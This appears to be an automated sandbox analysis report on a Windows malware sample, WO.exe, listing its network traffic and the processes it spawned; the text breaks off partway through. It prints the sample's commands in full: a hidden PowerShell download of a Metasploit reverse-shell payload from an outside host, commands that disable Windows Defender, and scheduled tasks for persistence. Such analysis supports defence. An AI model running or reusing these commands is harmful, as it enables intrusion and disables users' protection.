Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 19:54:01.633519888 CET	192.168.2.4	1.1.1.1	0xb3c4	Standard query (0)	f.neko.pe	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 19:54:02.002512932 CET	1.1.1.1	192.168.2.4	0xb3c4	No error (0)	f.neko.pe		185.151.51.214	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

f.neko.pe

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.151.51.214	443	2316	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 18:54:03 UTC	88	OUT	GET /file/~d35Ci~adCQqRGWGduhs.exe HTTP/1.1 Host: f.neko.pe Connection: Keep-Alive
2024-12-23 18:54:04 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 18:54:04 GMT Content-Type: application/octet-stream Content-Length: 73802 Connection: close X-Powered-By: Express Content-Disposition: filename="reddit.exe" Access-Control-Allow-Origin: * Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Wed, 18 Dec 2024 02:39:39 GMT ETag: W/"1204a-193d7a2a17c" Strict-Transport-Security: max-age=31536000
2024-12-23 18:54:04 UTC	15956	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 93 38 f0 d6 d7 59 9e 85 d7 59 9e 85 d7 59 9e 85 ac 45 92 85 d3 59 9e 85 54 45 90 85 de 59 9e 85 b8 46 94 85 dc 59 9e 85 b8 46 9a 85 d4 59 9e 85 d7 59 9f 85 1e 59 9e 85 54 51 c3 85 df 59 9e 85 83 7a ae 85 ff 59 9e 85 10 5f 98 85 d6 59 9e 85 52 69 63 68 d7 59 9e 85 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b4 35 45 4a 00 00 00 00 00 00 00 00 e0 00 0f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8YYYEYTEYFYFYYYTQYzY_YRichYPEL5EJ
2024-12-23 18:54:04 UTC	16384	IN	Data Raw: 00 8d 73 20 68 2b e8 40 00 56 ff d7 83 c4 3a 89 45 f8 85 c0 06 85 85 00 00 00 68 b4 df 40 00 56 ff d7 83 c4 08 24 45 f8 85 c0 c7 45 f0 02 00 ef 00 75 6c 8b 45 ec 85 c0 0f 85 05 04 00 00 a1 f8 17 71 6f 8b 94 04 8d 55 d8 c7 45 dc 01 00 00 00 52 c8 89 70 ce e8 52 6a 73 00 8b 4b 04 51 e8 59 f4 00 00 8b 15 d0 02 41 00 a1 b8 02 41 00 ca 89 15 d7 02 f4 00 22 d0 40 83 fa fb a3 b8 02 3b 00 7e 0d 68 b2 d2 42 00 b2 70 d8 3e ff a9 c4 04 53 e8 77 f9 22 ff 83 c4 04 3c fb e9 c8 c5 00 00 cd 0b 02 41 00 4f f9 75 2e 0c e0 e8 40 00 2c ff d7 83 c4 b9 ba 53 05 cf 00 b6 c0 74 17 8a 48 08 e9 c0 08 80 f9 20 7e 6b 88 0a 8a 48 01 42 40 80 f9 20 7f f4 c6 02 00 68 6c 14 40 00 c2 f5 3d 8b 0f 83 c4 13 4d d2 c0 36 64 fa 01 c9 ff f2 c0 f2 ee f7 d1 49 83 f9 09 76 1f 83 38 09 6a f2 75 45 Data Ascii: s h+@V:Eh@V$EEulEqoUERpRjsKQYAA"@;~hBp>Sw"<AOu.@,StH ~kHB@ hl@=M6dIv8juE
2024-12-23 18:54:05 UTC	16384	IN	Data Raw: 0e 46 40 db 75 fe c6 06 65 46 85 db 7d 07 f7 db 50 06 2d eb 71 c6 06 5c 8b c3 b9 64 00 65 00 7b f7 f9 46 85 c0 8b fa 7e 73 04 30 88 f3 46 8b c3 b9 0a a4 00 09 1f f7 f9 84 c0 8b ca 7e 17 b8 67 66 42 66 03 ef c1 fa 02 07 c2 c1 81 1f 3c d0 80 c2 30 88 16 46 80 c1 30 88 0e d0 59 44 ff ff 7a c2 ff 06 4b 5f 5e 8b 1c 5d c3 90 90 55 8b ec 8b 3c 1c fc 4d 18 8b 55 14 50 8b 45 10 6a ce 51 8b 4d 0c 52 8b 55 08 50 51 52 e8 0e c1 00 00 80 81 1c 5d c3 90 90 de 90 d9 90 22 90 90 55 8b ec 9e ec 14 4f 22 10 4b 7c 07 c7 45 10 4e 00 00 00 df 97 42 98 1d 30 c2 5b 00 8b 16 18 75 8b 5d 20 19 33 f6 57 e6 af 89 75 fc 89 31 f6 f1 05 eb fb 7a 0e 80 45 23 d9 e0 dd 5d 08 c7 01 01 00 00 00 8b 4d 0c 8b ac 08 8d 45 ec 50 51 52 ff 15 18 b0 40 00 dd 5d 08 dd 45 ec dc 1d 30 c2 40 3a 83 c4 Data Ascii: F@ueF}P-q\de{F~s0F~gfBf<0F0YDzK_^]U<MUPEjQMRUPQR]"UO"K\|ENB0[u] 3Wu1zE#]MEPQR@]E0@:
2024-12-23 18:54:05 UTC	16384	IN	Data Raw: 00 00 f1 00 00 4d 00 00 00 00 00 00 f0 00 00 00 00 00 28 00 de 03 00 a2 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 65 00 11 eb 00 00 00 00 00 00 00 00 00 e9 76 cc 00 00 00 00 75 20 00 00 00 00 00 00 fb 00 00 00 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 74 00 00 00 00 00 41 00 f7 00 00 e5 00 00 00 00 00 58 33 00 00 98 00 00 00 6e 00 a6 00 00 81 00 00 00 00 b2 00 00 00 00 00 00 00 00 0d 00 00 13 00 00 00 00 00 00 00 00 00 c7 00 00 00 00 00 00 00 7a 35 00 00 00 9c 00 00 00 00 00 8f 89 00 00 00 00 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 20 00 b9 b5 00 00 f2 b7 00 00 00 00 00 00 Data Ascii: M({#evu tAX3nz56
2024-12-23 18:54:05 UTC	8694	IN	Data Raw: 54 68 65 20 73 70 65 63 69 66 69 65 64 20 49 50 20 61 64 64 72 65 73 73 20 69 73 20 69 6e 76 61 6c 69 64 2e 00 00 00 00 44 53 4f 20 6c 6f 61 64 20 66 61 69 6c 65 64 00 4e 6f 20 73 68 61 72 65 64 20 6d 65 6d 6f 72 79 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 61 76 61 69 6c 61 62 6c 65 00 4e 6f 20 74 68 72 65 61 64 20 6b 65 79 20 73 74 72 75 63 74 75 72 65 20 77 61 73 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 6f 6e 65 20 77 61 73 20 72 65 71 75 69 72 65 64 2e 00 00 4e 6f 20 74 68 72 65 61 64 20 77 61 73 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 6f 6e 65 20 77 61 73 20 72 65 71 75 69 72 65 64 2e 00 00 00 00 4e 6f 20 73 6f 63 6b 65 74 20 77 61 73 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 6f 6e 65 20 77 61 73 20 72 65 71 75 69 72 65 64 2e 00 00 00 00 4e 6f 20 Data Ascii: The specified IP address is invalid.DSO load failedNo shared memory is currently availableNo thread key structure was provided and one was required.No thread was provided and one was required.No socket was provided and one was required.No

Target ID:	0
Start time:	13:53:55
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\WO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\WO.exe"
Imagebase:	0x140000000
File size:	129'024 bytes
MD5 hash:	7176B040816932541EB9C2B91D90B29B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:53:55
Start date:	23/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\4782.tmp\4783.tmp\4784.bat C:\Users\user\Desktop\WO.exe"
Imagebase:	0x7ff7899b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:53:55
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:53:55
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:53:59
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:54:03
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\reddit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\reddit.exe"
Imagebase:	0x400000
File size:	73'802 bytes
MD5 hash:	23544090C6D379E3ECA7343C4F05D4D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 00000006.00000002.2895821708.0000000000690000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 00000006.00000002.2895574683.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000006.00000000.1732936032.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 00000006.00000000.1732936032.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: C:\Users\user\AppData\Local\Temp\reddit.exe, Author: Joe Security Rule: JoeSecurity_MetasploitPayload, Description: Yara detected Metasploit Payload, Source: C:\Users\user\AppData\Local\Temp\reddit.exe, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: C:\Users\user\AppData\Local\Temp\reddit.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Imagebase:	0x7ff665990000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditLogon"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "RunRedditLogon" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc onlogon /rl highest /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditMinute"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "RunRedditMinute" /tr "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe" /sc minute /mo 1 /rl highest /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc config WinDefend start= disabled
Imagebase:	0x7ff6cc740000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net stop WinDefend
Imagebase:	0x7ff70ee30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 stop WinDefend
Imagebase:	0x7ff6abc70000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
Imagebase:	0x7ff619dd0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:54:04
Start date:	23/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
Imagebase:	0x7ff619dd0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:54:05
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Imagebase:	0x140000000
File size:	129'024 bytes
MD5 hash:	7176B040816932541EB9C2B91D90B29B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:54:05
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe
Imagebase:	0x140000000
File size:	129'024 bytes
MD5 hash:	7176B040816932541EB9C2B91D90B29B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:54:06
Start date:	23/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\6F6D.tmp\6F7E.tmp\6F7F.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Imagebase:	0x7ff7899b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:54:06
Start date:	23/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7038.tmp\7039.tmp\703A.bat C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Imagebase:	0x7ff7899b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:54:06
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:54:06
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:54:06
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 6324, Parent PID: 6272

General

Target ID:	24
Start time:	13:54:06
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:54:10
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:54:10
Start date:	23/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -windowstyle hidden -Command "(New-Object System.Net.WebClient).DownloadFile('https://f.neko.pe/file/~d35Ci~adCQqRGWGduhs.exe', 'C:\Users\user\AppData\Local\Temp\reddit.exe')"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: reddit.exePID: 5308, Parent PID: 1836

General

Target ID:	27
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\reddit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\reddit.exe"
Imagebase:	0x400000
File size:	73'802 bytes
MD5 hash:	23544090C6D379E3ECA7343C4F05D4D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001B.00000002.2895620558.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 0000001B.00000002.2895620558.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 0000001B.00000002.2895931053.0000000000690000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001B.00000000.1807295375.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 0000001B.00000000.1807295375.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\reddit.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\reddit.exe"
Imagebase:	0x400000
File size:	73'802 bytes
MD5 hash:	23544090C6D379E3ECA7343C4F05D4D2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 0000001C.00000002.2895801436.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001C.00000000.1807451210.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 0000001C.00000000.1807451210.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001C.00000002.2895627672.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_4a1c4da8, Description: Identifies Metasploit 64 bit reverse tcp shellcode., Source: 0000001C.00000002.2895627672.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Imagebase:	0x7ff665990000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditLogon"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -h "C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe"
Imagebase:	0x7ff665990000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditLogon"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditMinute"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /query /TN "RunRedditMinute"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc config WinDefend start= disabled
Imagebase:	0x7ff6cc740000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc config WinDefend start= disabled
Imagebase:	0x7ff6cc740000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:54:11
Start date:	23/12/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net stop WinDefend
Imagebase:	0x7ff70ee30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
